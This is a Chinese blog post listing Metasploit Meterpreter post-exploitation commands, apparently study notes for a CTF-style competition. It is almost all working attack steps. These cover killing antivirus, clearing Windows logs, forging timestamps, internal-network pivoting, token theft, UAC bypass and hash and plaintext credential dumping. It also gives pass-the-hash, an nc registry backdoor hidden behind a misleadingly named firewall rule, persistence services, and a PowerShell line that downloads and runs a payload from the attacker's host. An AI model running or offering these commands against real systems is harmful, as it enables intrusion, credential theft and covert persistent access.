msf后渗透常用命令
浏览 853 | 评论 0 | 字数 11761
硝基苯
2021年05月10日
  • 前几天准备铁三整理的,当时没来得及发出来,趁着现在摸鱼写一下

    exploit 在后台运行
    exploit -j

    常用命令

    sessions    #sessions –h 查看帮助
    sessions -i <ID值>  #进入会话   -k  杀死会话
    run killav #关闭杀软
    background  #将当前会话放置后台
    run  #执行已有的模块,输入run后按两下tab,列出已有的脚本
    info #查看已有模块信息
    getuid # 查看权限 
    getpid # 获取当前进程的pid
    getlwd #查看当前目录
    sysinfo # 查看目标机系统信息
    ps # 查看当前活跃进程    kill <PID值> 杀死进程
    idletime #查看目标机闲置时间
    reboot / shutdown   #重启/关机
    shell #进入目标机cmd shell
    upload /usr/test.txt /var/www/html/ #上传test.txt到目标html文件夹下
    rm /usr/test.txt #删除文件
    download c:\\test\\password.txt /etc/passwd 下载文件 

    网络命令

    ipconfig/ifconfig 
    netstat -ano
    arp
    getproxy
    route
    

    execute执行文件

    execute #在目标机中执行文件
    execute -H -i -f  cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
    execute -H -m -d notepad.exe -f payload.exe -a "123.txt"
    # -d 在目标主机执行时显示的进程名称(用以伪装)-m 直接从内存中执行 "123.txt"是payload.exe的运行参数

    12379-igevhjad1jr.png

    migrate进程迁移

    getpid # 获取当前进程的pid
    ps # 查看当前活跃进程
    migrate <pid值> # 将Meterpreter会话移植到指定pid值进程中
    kill <pid值> # 杀死进程
    43268-cb4ys7hl2gg.png
    58129-oixb8zdhnwm.png

    clearev清除日志

    clearev  # 清除windows中的应用程序日志、系统日志、安全日志

    需要一定权限
    23565-g8nvet797e.png

    timestomp伪造时间戳

    timestomp C:\\ -h   #查看帮助
    timestomp -v C:\\2.txt   #查看时间戳
    timestomp C:\\2.txt -f C:\\1.txt #将1.txt的时间戳复制给2.txt
    timestomp  c:\\test\\22.txt -z "03/10/2019 11:55:55" -v # 把四个属性设置为统一时间
    

    利用msf转发进内网

    获取服务器网段
    meterpreter > run get_local_subnets

    19550-zalo9wog0j.png
    双网卡,58.0是内网段

    设置路由

    57926-kgz63qwy1p.png

    run autoroute –h #查看帮助
    run autoroute -s 192.168.58.0/24  #添加到目标环境网络
    run autoroute –p  #查看添加的路由

    25148-b447qebefum.png
    添加后msf都走该路由
    此时可以进行内网的主机发现

    run post/windows/gather/arp_scanner RHOSTS=192.168.58.0/24

    04951-h23mwrnvqo.png

    端口扫描
    run auxiliary/scanner/portscan/tcp RHOSTS=192.168.58.139

    02647-z6hgj30zwb.png

    开socks代理

    msf> use auxiliary/server/socks5
    msf > set srvhost 127.0.0.1
    msf > set srvport 1080
    msf > run

    可以用proxychains去代理
    socks5 127.0.0.1 1080

    信息搜集(post模块)

    1.    run post/wndows/manage/delete_user username=c6h5no2 #删除指定用户
    2.    run arp_scanner -r 192.168.183.1/24  # 利用arp进行存活主机扫描
    3.    run winenum  # 自动化执行一些检测脚本
    4.    run credcollect # 获取用户hash
    5.    run domain_list_gen  # 获取域管理账户列表
    6.    run post/multi/gather/env  # 获取用户环境变量
    7.    run post/windows/gather/enum_logged_on_users -c  # 列出当前登录用户
    8.    run post/linux/gather/checkvm  # 是否虚拟机
    9.    run post/windows/gather/checkvm  # 是否虚拟机
    10.    run post/windows/gather/forensics/enum_drives  # 查看磁盘分区信息
    11.    run post/windows/gather/enum_applications  # 获取安装软件信息
    12.    run post/windows/gather/dumplinks   # 获取最近访问过的文档、链接信息
    13.    run post/windows/gather/enum_ie  # 获取IE缓存
    14.    run post/windows/gather/enum_firefox  # 获取firefox缓存
    15.    run post/windows/gather/enum_chrome   # 获取Chrome缓存
    16.    run post/multi/recon/local_exploit_suggester  # 获取本地提权漏洞
    17.    run post/windows/gather/enum_patches  # 获取补丁信息
    18.    run post/windows/gather/enum_domain  # 查找域控
    19.    run post/windows/gather/enum_snmp  # 获取snmp团体名称
    20.    run post/windows/gather/credentials/vnc  # 获取vnc密码
    21.    run post/windows/wlan/wlan_profile  # 用于读取目标主机WiFi密码
    22.    run post/multi/gather/wlan_geolocate # 基于wlan进行地理位置确认 文件位于/root/.msf4/loot
    23.    run post/windows/manage/killav 关闭杀毒软件

    常用破解模块

    auxiliary/scanner/mssql/mssql_login
    auxiliary/scanner/ftp/ftp_login
    auxiliary/scanner/ssh/ssh_login
    auxiliary/scanner/telnet/telnet_login
    auxiliary/scanner/smb/smb_login
    auxiliary/scanner/mssql/mssql_login
    auxiliary/scanner/mysql/mysql_login
    auxiliary/scanner/oracle/oracle_login
    auxiliary/scanner/postgres/postgres_login
    auxiliary/scanner/vnc/vnc_login
    auxiliary/scanner/pcanywhere/pcanywhere_login
    auxiliary/scanner/snmp/snmp_login
    auxiliary/scanner/ftp/anonymous
    

    令牌窃取

    ps #查看进程
    steal_token <pid>  #从指定进程中窃取
    drop_token #停止当前的token

    65680-u02fk6aajhf.png

    提权

    • getsystem
    • bypassuac
      需要退出session状态
      background
      直接search uac
      06697-a5lws5mhiim.png

    因为靶机是win10的,直接测试了

    msf6 exploit(multi/handler) > use exploit/windows/local/bypassuac_eventvwr

    68196-2juk0azvl4d.png

    set session

    66643-prlqixieud.png
    生成新的session
    87026-gkldb5wf60q.png
    getuid仍为普通用户,
    getsystem 成功提权

    • RunAs提权
      使用RunAs模块进行提权时,系统当前用户须在管理员组(net user xxx)或者知道管理员的密码,用户账户控制程序UAC设置则没有要求。使用RunAs模块进行提权时,会创建一个可执行文件,为了避免给杀毒软件查杀,该可执行文件(需进行免杀处理)的创建要使用EXE::Custom选项。

    use exploit/windows/local/ask
    set filename update.exe # 设置反弹程序名称
    set session 2
    24273-s2vpu716qgh.png
    这个时候Windows弹出
    50789-dhb319fj794.png
    即可提权成功
    30174-w60eodz34g.png

    • 内核漏洞提权
      获得补丁信息
      meterpreter > run post/windows/gather/enum_patches
      08636-pxb7l45zn0b.png

    使用相应的exp

    msf6 exploit(windows/local/cve_2020_1048_printerdemon) > use exploit/windows/local/cve_2020_1048_printerdemon

    用这个没打出来,win10的蛮难打的。。。
    放弃了

    漏扫脚本直接扫

    meterpreter > run post/multi/recon/local_exploit_suggester

    82265-mdjg60vscw.png
    最终用exploit/windows/local/cve_2019_1458_wizardopium提权成功
    29657-akiyg3yrdk.png

    • 假冒令牌提权

      use incognito # 加载窃取令牌模块
      list_tokens -u # 查看可用的用户令牌
      list_tokens -g # 查看可用的用户组令牌
      impersonate_token 'NT AUTHORITYSYSTEM' # 假冒SYSTEM token
      rev2self #返回原始token
      meterpreter > use incognito
      meterpreter > list_tokens -u #查看可用的用户令牌

    38354-daa1719mhiq.png
    我们选择system的token

    meterpreter > impersonate_token "NT AUTHORITY\SYSTEM

    87812-ee0jz52ruzn.png

    • 窃取hash 密码(域内渗透经常用到)
      都需要一定权限

    hashdump

    run post/windows/gather/smart_hashdump

    65178-57xlm5oeqza.png
    把hash用NTLM解密

    mimikatz(新版msf没了)

    load mimikatz # 加载mimikatz模块
    msv  # 获取用户和hash值 
    kerberos  # 获取内存中的明文密码信息
    wdigest  # 获取内存中的明文密码信息
    mimikatz_command -f a:: # 需要以错误的模块来让正确的模块显示
    mimikatz_command -f sekurlsa::searchPasswords # 获取用户密码
    mimikatz_command -f samdump::hashes  # 执行用户hash
    7409/article/details/101346833
    

    kiwi
    34773-w8ufgga82o.png
    注意:kiwi 是需要在64位运行的,如果后门是32位的需要进程迁移到64位上

    creds_all:列举所有凭据
    creds_kerberos:列举所有kerberos凭据
    creds_msv:列举所有msv凭据
    creds_ssp:列举所有ssp凭据
    creds_tspkg:列举所有tspkg凭据
    creds_wdigest:列举所有wdigest凭据
    dcsync:通过DCSync检索用户帐户信息
    dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
    golden_ticket_create:创建黄金票据
    kerberos_ticket_list:列举kerberos票据
    kerberos_ticket_purge:清除kerberos票据
    kerberos_ticket_use:使用kerberos票据
    kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
    lsa_dump_sam:dump出lsa的SAM
    lsa_dump_secrets:dump出lsa的密文
    password_change:修改密码
    wifi_list:列出当前用户的wifi配置文件
    wifi_list_shared:列出共享wifi配置文件/编码
    

    creds_all
    37960-1558g7usn7r.png

    • 哈希传递
      利用hashdump得到用户的hash后可利用psexec模块进行哈希传递攻击。

    使用psexec的前提:SMB服务必须开启,也就是开启445端口;Admin$可以访问
    90980-n1eqi5hyje.png

    use exploit/windows/smb/psexec
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.183.147
    set LPORT 443
    set RHOST 192.168.183.154
    set SMBUSER Administrator
    set SMBPASS ccf**4ee:3db**678
    set SMBDOMAIN  WORKGROUP   # 域用户需要设置SMBDOMAIN
    run

    20258-63dvn6blprd.png
    模块(免杀):use exploit/windows/smb/psexec_psh

    RDP

    enable_rdp脚本
    通过enable_rdp脚本将用户添加到远程桌面用户组和管理员用户组

    run post/windows/manage/enable_rdp  #开启远程桌面
    run post/windows/manage/enable_rdp USERNAME=testrdp PASSWORD=admin!@#123 # 添加用户,密码强度要搞
    run post/windows/manage/enable_rdp FORWARD=true LPORT=6667  # 将3389端口转发到6667

    44356-9xik60f039e.png

    远程桌面

    enumdesktops  # 查看可用的桌面
    getdesktop    # 获取当前meterpreter 关联的桌面
    setdesktop    # 设置meterpreter关联的桌面  -h查看帮助
    run vnc   # 使用vnc远程桌面连接
    rdesktop 127.0.0.1:1111 # 需要输入用户名密码连接
    rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用户名 -p 密码
    绝了,windows没连上,kali连上了

    21420-pqn9olclpq.png

    注册表操作

    注册表基本命令

    reg –h  # 查看帮助
    -k 注册表的路径 -v 键的名称 -d 键值 
    reg enumkey [-k <key>]  # 枚举注册表的内容
    reg createkey [-k <key>]  # 创建注册表项
    reg deletekey [-k <key>]  # 删除注册表项
    reg setval [-k <key> -v <val> -d <data>]  # 在注册表里添加内容
    reg deleteval [-k <key> -v <val>]  # 删除注册表的值
    reg queryval [-k <key> -v <val>]  # 查询注册表的值

    利用注册表添加nc后门
    1.编辑注册表,添加nc到系统启动项中,形成后门程序。

    upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 # 上传nc到目标主机
    reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run   # 枚举注册表run下的键值
    reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v test_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' # 设置键值 -v 键的名称 -d 键值
    reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v test_nc   # 查询test_nc的键值

    2.设置防火墙允许通过443端口(如果目标主机开启防火墙,没有设置相应的规则可能会导致连接失败。)

    shell
    netsh firewall show opmode # 查看防火墙状态
    netsh firewall add portopening TCP 443 "网络发现(Pub PSD-Out)" ENABLE ALL # 添加防火墙的规则允许443端口通过(这里“网络发现(Pub PSD-Out)”是规则名称,目的是为了迷惑管理员。) 

    3.待目标主机重启后,自启nc程序,然后我们利用nc连接即可

    后门植入

    在我们通过漏洞获取到目标主机权限之后,如果目标主机主机重启亦或是管理员发现并修补了漏洞,那么我们就会失去对服务器的控制权,所以我们需要通过植入后门来维持权限,前面说的nc后门就是其中一种,另外一般还有Persistence和Metsvc
    Persistence(通过启动项安装)

    run persistence –h  # 查看帮助
    run persistence -X -i 5 -p 4444 -r 192.168.183.147 
    run persistence -U -i 5 -p 4444 -r 192.168.183.147 -L c:\\Windows\\System32
    -X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限原因会导致添加失败,后门无法启动。因此在非管理员权限下,不推荐使用该参数
    -U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
    -L:后门传到远程主机的位置默认为%TEMP%
    -i:设置反向连接间隔时间为5秒
    -p:设置反向连接的端口号
    -r:设置反向连接的ip地址

    Metsvc(通过服务安装)

    run metsvc -h   # 查看帮助
    run metsvc -A   # 自动安装后门
    run metsvc -r   # 删除后门

    连接后门

    use exploit/multi/handler 
    set payload windows/metsvc_bind_tcp
    set rhost 192.168.183.169
    set lport 31337
    run

    Powershell后门

    use exploit/multi/script/web_delivery
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.183.147
    set LPORT 2334
    set srvport 2333
    set uripath /
    set target 5
    run

    在目标设备cmd上执行以下命令即可反弹

    powershell.exe -nop -w hidden -c $z="echo ($env:temp+'\eJedcsJE.exe')"; (new-object System.Net.WebClient).DownloadFile('http://192.168.183.147:2333/', $z); invoke-item $z 833
    

    文章参考:https://blog.csdn.net/weixin_44677409/article/details/101346833

    本文作者:硝基苯
    本文链接:https://www.c6sec.com/index.php/archives/207/
    最后修改时间:2021-05-19 21:13:53
    本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!
    评论
    与本文无关评论请发留言板。请不要水评论,谢谢。
    textsms
    支持 Markdown 语法
    email
    link
    评论列表
    暂无评论